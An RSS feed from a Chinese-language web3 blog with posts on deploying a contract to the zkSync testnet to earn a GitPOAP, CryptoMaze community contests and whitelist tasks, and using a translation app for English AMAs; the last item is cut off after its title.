<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Newbee740</title>
        <link>https://paragraph.com/@newbee740</link>
        <description>少年锦时</description>
        <lastBuildDate>Fri, 24 Jul 2026 07:00:03 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en</language>
        <image>
            <title>Newbee740</title>
            <url>https://storage.googleapis.com/papyrus_images/71c2bc938a3e012a224aa44c844548d5a86bbd0f640595af10e98a7dfc2b4fb3.jpg</url>
            <link>https://paragraph.com/@newbee740</link>
        </image>
        <copyright>All rights reserved</copyright>
        <item>
            <title><![CDATA[如何在zksync 2.0测试网上部署合约并拿到gitpoap]]></title>
            <link>https://paragraph.com/@newbee740/zksync-2-0-gitpoap</link>
            <guid>FWOO3vuj2x5XY6lU7I50</guid>
            <pubDate>Tue, 14 Feb 2023 03:01:31 GMT</pubDate>
            <description><![CDATA[首先介绍一下基础环境,默认各位看官都拥有一个github账号并且熟悉基础git操作,和一个有goerli水的钱包地址及对应私钥.基础问题自行谷歌解决 打开L2研讨会项目的github地址. https://github.com/matter-labs/l2-intro-pre-ethdenver下载代码第一步,右上角点击fork,分叉该项目到自己的github仓库中完成后会跳转到分叉后的项目中.在如下位置复制git仓库地址clone到本地 git clone +复制的地址复制到本地(本地需安装好git环境,可自行谷歌解决)部署合约使用熟悉的代码编辑器打开项目文件夹,并做如下修改,私钥不需要0x开头安装hardhat(需要npm环境和yarn管理包,自行谷歌解决)编译项目部署合约到测试网(会存在网络问题,多试几次),记住构造参数和合约地址验证合约在2.0测试网中搜索自己的合约地址 https://goerli.explorer.zksync.io/ 选择contract,会出现一个verify的按钮,点击它(忘截图了)然后填好如下信息源代码在Greeter.sol文件里版本信息在h...]]></description>
            <content:encoded><![CDATA[<p>首先介绍一下基础环境,默认各位看官都拥有一个github账号并且熟悉基础git操作,和一个有goerli水的钱包地址及对应私钥.基础问题自行谷歌解决</p><p>打开L2研讨会项目的github地址.</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/matter-labs/l2-intro-pre-ethdenver">https://github.com/matter-labs/l2-intro-pre-ethdenver</a></p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">下载代码</h2><p>第一步,右上角点击fork,分叉该项目到自己的github仓库中</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/527ac31572485cbf040b6fb9e9bef896fbd0b35ce90d4713e6b5c75fe09108f4.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/1013440325a43e27e811991c09709f3c0b7a894acc1048822b5a7a4e052261fc.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>完成后会跳转到分叉后的项目中.在如下位置复制git仓库地址</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/7dde87aa955c142eb4665d1ed4c47a4a0942fe42a339b6ca6d2a4f50114b7067.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>clone到本地 git clone +复制的地址复制到本地(本地需安装好git环境,可自行谷歌解决)</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/f9c101e592b7adaf629b449776ac5adad83e31aae7deb7468c9574e905569fef.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">部署合约</h2><p>使用熟悉的代码编辑器打开项目文件夹,并做如下修改,私钥不需要0x开头</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/8e2ac7648df075725559ea84ce436d05bd3ab460eee9e5e7ee0c52bc16b42773.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>安装hardhat(需要npm环境和yarn管理包,自行谷歌解决)</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/cb9e029ca44729ad254b2abaf296d07419526b67138ec0a08b41a3d29d6fa9d4.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>编译项目</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/ba303a6cec2c8164a2c77d63eed746e3446805154199dc669a9d2af72f915ef6.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/d3f27399be45b5189cb06244c1fa0e264d64a874403ca30b2551986371a4f380.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>部署合约到测试网(会存在网络问题,多试几次),记住构造参数和合约地址</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/2dc909c7bd2f9d48988714129a135fb06a6b10ac9f6894346f8a4d792dd0ed00.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">验证合约</h2><p>在2.0测试网中搜索自己的合约地址</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://goerli.explorer.zksync.io/">https://goerli.explorer.zksync.io/</a></p><p>选择contract,会出现一个verify的按钮,点击它(忘截图了)</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/d7a1c184795ccd56d0fc26f52afcc6693feba520cead48bc0e80abd60102bc5e.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>然后填好如下信息</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/e753178b16fbc01281f4dc05cf278c6bac5bd8fb510a672b6cfad26dce472b62.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>源代码在Greeter.sol文件里</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/6f0cd8711525a22f370422d5dea43d0e11b50dc0d67ba2f93de37e4475c7dad1.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>版本信息在hardhat.config.ts文件里</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/7fbe9a52767d4a1a8ac8e6e3b617e08102245fc3aed78bf5124f4aa6d47f4e5e.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>点击verify,验证成功后可以看到如下界面,可以连上自己钱包做几笔tx</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/b40010c75fec1b9cddee036265ba6fcbce1af586f1efe69b25c71e4925a9b7dc.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-gitpoap" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">申请gitpoap</h2><p>合约做好后,在Deployments.md文件中按照格式添加一行</p><p>\合约地址\</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/3119e1c9ad951f06852d08fbabeadbd27ae5e60ab70df7db446519bdb582b8dc.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>保存之后git三连,上传到git仓库里</p><pre data-type="codeBlock" text="git add.
git commit -m “update“
git push
"><code>git add.
git commit <span class="hljs-operator">-</span>m “update“
git push
</code></pre><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/f60415c22d2afcf7115c395dd926fef5ff17f7c3b0e0fb5d3317d17678efc643.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>然后打开原项目方的仓库地址</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/matter-labs/l2-intro-pre-ethdenver">https://github.com/matter-labs/l2-intro-pre-ethdenver</a></p><p>创建一个pr</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/563a78e8b8ed33d397b74afebde035575db79149080537ea01273fb2498c7cc7.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>点击Create pull request</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/1754f775ee84cb4b29ddea62f132ccb49179356409c3c9c2f20a1c1e950c831a.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>继续</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/8ca999cf3cd71ba064abdce188e6835c6fef39da2e49beeb9176cd7e5cb6120c.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>完成,等待审核</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/6595d9a209be24f64fada5331e3508df61418c43a4aafd90d026d78572168c8c.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-gitpoap" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">领取gitpoap</h2><p>在该网站连接自己想领取gitpoap的钱包地址,然后连接刚刚使用的github地址</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.gitpoap.io/">https://www.gitpoap.io/</a></p><p>点击检查,需要等审核过后</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/5abd3c6f61bbc6bb9d1a4295eab6ebaafcc35638f11aed1347ae578437411296.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/582548631eac99c11d03d479dbdfd3ab29eb48e163eab91ff7894c8b233fd08e.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">结尾</h2><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">点个关注,点个爱心,谢谢家人们了</h2><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/newbee740">https://twitter.com/newbee740</a></p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/52931a853dd3bb62444738cd18cd20b56109fb07db1d45d8571b6eac662be306.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure>]]></content:encoded>
            <author>newbee740@newsletter.paragraph.com (Newbee740)</author>
        </item>
        <item>
            <title><![CDATA[逃离迷宫]]></title>
            <link>https://paragraph.com/@newbee740/fjdLIUKQj0hOvnSFMqTn</link>
            <guid>fjdLIUKQj0hOvnSFMqTn</guid>
            <pubDate>Wed, 10 Aug 2022 11:55:52 GMT</pubDate>
            <description><![CDATA[逃离迷宫-八月活动从2022年8月8日星期一早上6点00分开始，我们将在8月余下的时间里开展多项活动。两人一组的团队将可以报名参加比赛，争夺奖品 🔥 . 🥇 1st Place 每个获胜的团队成员将获得。0.05 ETH1个英雄盲盒30 $Might2个你主动选择的徽章 🚀 : (如果已经是Mazemaster，可兑换Might) @MazeMaster II Eligible🥈 2nd Place 第二名的队员将获得。1个未公开的战利品30 $Might2个你主动选择的徽章 @MazeMaster II Eligible🥉 3rd Place 第三名的队员将获得。1个未公开的战利品盲盒20 $Might1个你主动选择的徽章 @MazeMaster II Eligible🏆 跑步者 - 逃出迷宫20 $Might竞争者徽章 @MazeMaster II Eligible🏆 逃亡者--没有逃出迷宫20 $Might竞争者徽章：徽章。行动指南简介在服务器上参与活动将为你的团队赢得积分，这些积分随后将转化为一定数量的 "步数"。在月末，每个团队都会得到一个我创建的不同的迷...]]></description>
            <content:encoded><![CDATA[<h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">逃离迷宫-八月活动</h2><p>从2022年8月8日星期一早上6点00分开始，我们将在8月余下的时间里开展多项活动。两人一组的团队将可以报名参加比赛，争夺奖品 🔥 .</p><p>🥇 1st Place 每个获胜的团队成员将获得。</p><ul><li><p>0.05 ETH</p></li><li><p>1个英雄盲盒</p></li><li><p>30 $Might</p></li><li><p>2个你主动选择的徽章 🚀 : (如果已经是Mazemaster，可兑换Might) @MazeMaster II Eligible</p></li></ul><p>🥈 2nd Place 第二名的队员将获得。</p><ul><li><p>1个未公开的战利品</p></li><li><p>30 $Might</p></li><li><p>2个你主动选择的徽章 @MazeMaster II Eligible</p></li></ul><p>🥉 3rd Place 第三名的队员将获得。</p><ul><li><p>1个未公开的战利品盲盒</p></li><li><p>20 $Might</p></li><li><p>1个你主动选择的徽章 @MazeMaster II Eligible</p></li></ul><p>🏆 跑步者 - 逃出迷宫</p><ul><li><p>20 $Might</p></li><li><p>竞争者徽章 @MazeMaster II Eligible</p></li></ul><p>🏆 逃亡者--没有逃出迷宫</p><ul><li><p>20 $Might</p></li><li><p>竞争者徽章：徽章。</p></li></ul><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">行动指南</h2><p><strong>简介</strong></p><ul><li><p>在服务器上参与活动将为你的团队赢得积分，这些积分随后将转化为一定数量的 &quot;步数&quot;。</p></li><li><p>在月末，每个团队都会得到一个我创建的不同的迷宫，你可以看到入口，但看不到迷宫本身的结构。你走的每一步都会让你看到迷宫的更多一点。你会遇到一个死胡同，不得不重走你的步骤，还是你会有一个完美的捷径，eyes:?：这将涉及到运气:RNG:，但你获得的步骤越多，你就越有可能获得最好的成绩。</p></li><li><p>团队排名将基于谁跑得最远（如果多个团队逃出迷宫，排名将基于谁在迷宫外走得最远）</p></li></ul><p><strong>如何获得步数</strong> 4个类别是，游戏和活动，交战，突袭，和内容。从8月8日到8月31日，你将可以在这些类别中获得积分。</p><p>游戏和活动</p><ul><li><p>每次你的团队参与游戏或活动，你将获得该类别的积分，最高可达25分。只要你的团队中有一名成员参加，就可以算作是一个积分：Mariostar:。如果你的团队主持了一场比赛或活动，它将获得2分（每个团队的上限是每周主持一场比赛/活动）。</p></li></ul><p>参与度</p><ul><li><p>在聊天中表现活跃的团队将在这个类别中获得最多25分的额外分数。这方面的得分将由Deepak、Elite和我根据我们的观察而不是信息计数来判断，因为我们不希望人们感到有压力去 &quot;磨练&quot;。</p></li></ul><p>突袭（推特转发） 这是一个直接的问题，你参加的突袭越多，你将得到更多的分数/25! 由于我还不知道8月8日至31日我们会有多少次突袭，所以这将是基于百分比的。因此，如果你的团队在那段时间内100%参与了突袭，你将获得25/25的积分。</p><p>内容</p><ul><li><p>创造两件Crypto Maze的内容（每个团队成员一件）。它可以是任何与加密迷宫相关的创意，艺术，传说，音乐，文章，如果它是你的原创内容，它就有资格：💪 。每件内容都将得到25分的评分。</p></li></ul><p>所有这些加起来的最高分可能是100分（每个类别25分）。由于迷宫仍在创建中，我将在以后计算出最高分的步骤。</p><p>希望参加比赛的人可以在这里注册他们的团队：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.google.com/forms/d/1bly7sQ_QqUAxFM_W8lLvvQbyemOhd9Jbe8_UIFpngtc">https://docs.google.com/forms/d/1bly7sQ_QqUAxFM_W8lLvvQbyemOhd9Jbe8_UIFpngtc</a></p><p>discord中 👥│find-a-team 供那些需要找到伙伴的人使用 🙂</p><p><strong>推特：</strong></p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/cryptomazeapp?s=21&amp;t=ClPL5tKR7TYr4I06nZCefQ">https://twitter.com/cryptomazeapp?s=21&amp;t=ClPL5tKR7TYr4I06nZCefQ</a></p><p><strong>不和谐：</strong></p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://discord.gg/GHVN7F6e">https://discord.gg/GHVN7F6e</a></p><p><strong>网站：</strong></p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.cryptomaze.app/">https://www.cryptomaze.app/</a></p>]]></content:encoded>
            <author>newbee740@newsletter.paragraph.com (Newbee740)</author>
        </item>
        <item>
            <title><![CDATA[如何使用腾讯翻译君收听英文ama]]></title>
            <link>https://paragraph.com/@newbee740/ama</link>
            <guid>zgvSTxonYtoi6rSfdzCk</guid>
            <pubDate>Tue, 28 Jun 2022 09:51:59 GMT</pubDate>
            <description><![CDATA[在我们深入web3的世界时，一定遇到过收听英文ama听不懂的尴尬境地。今天教大家使用一个软件进行简单的同声传译。 软件是腾讯旗下的腾讯翻译君，目前是免费。各位可以在各自手机上的应用商店进行下载，也可以到如下官网进行下载。 https://fanyi.qq.com/ 下载安装后是这样的上滑屏幕进入同声传译。如果收听英文ama则点击上半部分屏幕开始录音即可。软件会实时录音英语，并转换成中文显示出来，也可以在设置中设置其他语言及语音播放等功能。]]></description>
            <content:encoded><![CDATA[<p>在我们深入web3的世界时，一定遇到过收听英文ama听不懂的尴尬境地。今天教大家使用一个软件进行简单的同声传译。 软件是腾讯旗下的腾讯翻译君，目前是免费。各位可以在各自手机上的应用商店进行下载，也可以到如下官网进行下载。</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://fanyi.qq.com/">https://fanyi.qq.com/</a></p><p>下载安装后是这样的</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/07f2242ee5df5a9cbc54bfc63fbe243a6cfa90ad7a3d9fffeb1eb8bf608d6dfb.jpg" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>上滑屏幕进入同声传译。</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/f3efed4663d2c94a74028b4f63458a302e547a128a16e82141aaab6546c8c899.jpg" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>如果收听英文ama则点击上半部分屏幕开始录音即可。软件会实时录音英语，并转换成中文显示出来，也可以在设置中设置其他语言及语音播放等功能。</p>]]></content:encoded>
            <author>newbee740@newsletter.paragraph.com (Newbee740)</author>
        </item>
        <item>
            <title><![CDATA[Zksync生态-cryptomaze打金链游获得白名单方法及活动介绍]]></title>
            <link>https://paragraph.com/@newbee740/zksync-cryptomaze</link>
            <guid>faldKwskz9jvEalNzdCv</guid>
            <pubDate>Wed, 08 Jun 2022 09:06:26 GMT</pubDate>
            <description><![CDATA[欢迎转发而无需任何著名。 我会为大家讲解，如何成为Cryptomaze创世3333白名单中的一员。简单点就是完成活动，获得积分，兑换白名单以及高级白名单，大概有一个月时间。 官网： https://www.cryptomaze.app/# 推特地址： https://twitter.com/cryptomazeapp Discord中文频道： https://discord.gg/cryptomazeapp 白皮书： https://cdn.discordapp.com/attachments/981659165904736256/981668980987166750/CryptoMaze_Pitch_Deck-bl_v2.3.pdfCryptomaze是基于Zksync生态之上的第一款移动端元宇宙链游一切从Crypto Maze和3333个超级稀有的NFT mint开始！ 在接下来的几周和几个月里，你可以期待-空投、身份组、社区建设、许多大的合作伙伴（包括风险投资基金、具有很大影响力的大V、游戏公会、交易所等）那么你们可以做些什么参与进来呢？1）积极参与社区各大活动，保持较高的...]]></description>
            <content:encoded><![CDATA[<p>欢迎转发而无需任何著名。</p><p>我会为大家讲解，如何成为Cryptomaze创世3333白名单中的一员。简单点就是完成活动，获得积分，兑换白名单以及高级白名单，大概有一个月时间。</p><p>官网：</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.cryptomaze.app/#">https://www.cryptomaze.app/#</a></p><p>推特地址：</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/cryptomazeapp">https://twitter.com/cryptomazeapp</a></p><p>Discord中文频道：</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://discord.gg/cryptomazeapp">https://discord.gg/cryptomazeapp</a></p><p>白皮书：</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://cdn.discordapp.com/attachments/981659165904736256/981668980987166750/CryptoMaze_Pitch_Deck-bl_v2.3.pdf">https://cdn.discordapp.com/attachments/981659165904736256/981668980987166750/CryptoMaze_Pitch_Deck-bl_v2.3.pdf</a></p><h3 id="h-cryptomazezksyncyuan" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Cryptomaze是基于Zksync生态之上的第一款移动端元宇宙链游</h3><p>一切从Crypto Maze和3333个超级稀有的NFT mint开始！</p><p>在接下来的几周和几个月里，你可以期待-空投、身份组、社区建设、许多大的合作伙伴（包括风险投资基金、具有很大影响力的大V、游戏公会、交易所等）</p><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">那么你们可以做些什么参与进来呢？</h3><p>1）积极参与社区各大活动，保持较高的活跃度。比如在频道中多互动，积极参与AMA。</p><p>2）用个人资料图片、横幅、标签代表项目，参加比赛并增加价值。</p><p>3）为社区贡献。包括但不限于为项目提供有创意的想法，在社交媒体发表你对项目的看法及帮助宣发，制作项目周边、表情包、logo等等。 我们将会不断在各种活动中给参与者“Might”代币作为奖励（“Might”可用于兑换白名单），收集到20个“Might”即可兑换白名单。</p><p><strong>🕹 $might与徽章作用🕹</strong></p><p>1）收集__20 个$might__ 即可到might shop频道发送“I want to be aMAZEd” 获得白名单(aMAZEd role) 2）集齐__5个徽章__可获得高级白名单，高级白能够mint 2 个Crypto Maze NFT 并且给予提名別人成为高级白名单的权利</p><h3 id="h-dollarmight" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">可获得$might的活动</h3><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">日常活动</h3><p>-参加社区ama，并且提问互动 (1～2 $might)</p><p>-参加社区举办的游戏，并且获胜 (1 $might) GAME频道获取实时活动</p><p>-參加項目任务 並且把截圖發至raid submissions频道(1 $might) 当前任务： 点赞转发如下两条推特，截图发至#📝😈│raid-submission频道中 <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/CryptoMazeApp/status/1533750411546484736?s=20&amp;t=3PtwBFuExJdBaq7PvSKSNA">https://twitter.com/CryptoMazeApp/status/1533750411546484736?s=20&amp;t=3PtwBFuExJdBaq7PvSKSNA</a> <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/zksync/status/1533748375744663552?s=20&amp;t=3PtwBFuExJdBaq7PvSKSNA">https://twitter.com/zksync/status/1533748375744663552?s=20&amp;t=3PtwBFuExJdBaq7PvSKSNA</a></p><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">徽章活动</h3><p>获得社区徽章(每個徽章提供4 $might )</p><p><strong>语音获得：</strong> vc语音频道活跃，开启麦克风与mod和项目方互动，主办主持活动等 （总结：语音频道有活动时，多说话，多互动。）</p><p><strong>社群获得</strong>：不同频道活跃，提出建议 （总结：dc社区保持活跃，帮助新人，提供建议）</p><p><strong>媒体获得：</strong> 推特互动，宣传文章 （总结：推特，油管，等社交平台帮助宣发）中文区内容@feichi.eth审核</p><p><strong>创意获得：</strong> 创作 meme,art （总结：制作项目周边，创作表情包，logo,小图片等）</p><p><strong>抽奖获得</strong>： 随机时间会在频道限时一分钟的抽奖，一分钟内参与互动，完成抽奖 （总结：dc社区保持活跃，激励在线，否则随机的一分钟的抽奖赶不上）</p><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">身份活动</h3><p>**OG：**第一批的成員，提供8個 $might 幣 (会在中文区重新开放）</p><p>**Maze Runner：**社区第667-1332 成員，提供5 $might 幣 (会在中文区重新开放）</p><p>**Maze Fighter：**此role 現在尚没满额， 提供3 $might币</p><p>**aMAZEd：**此項目的白名單，需拿到20 $might 币來兌換</p><p>**MazeMaster ：**高級白名單，需集齐五個徽章可获得高級白，高級白能夠mint 2 個Crypto Maze NFT 並且給予提名別人成為MazeMaster 权利</p>]]></content:encoded>
            <author>newbee740@newsletter.paragraph.com (Newbee740)</author>
        </item>
        <item>
            <title><![CDATA[zigzag一键运行机器人]]></title>
            <link>https://paragraph.com/@newbee740/zigzag</link>
            <guid>swo7MsEPFgJ1vQLvOjTo</guid>
            <pubDate>Sat, 28 May 2022 08:59:59 GMT</pubDate>
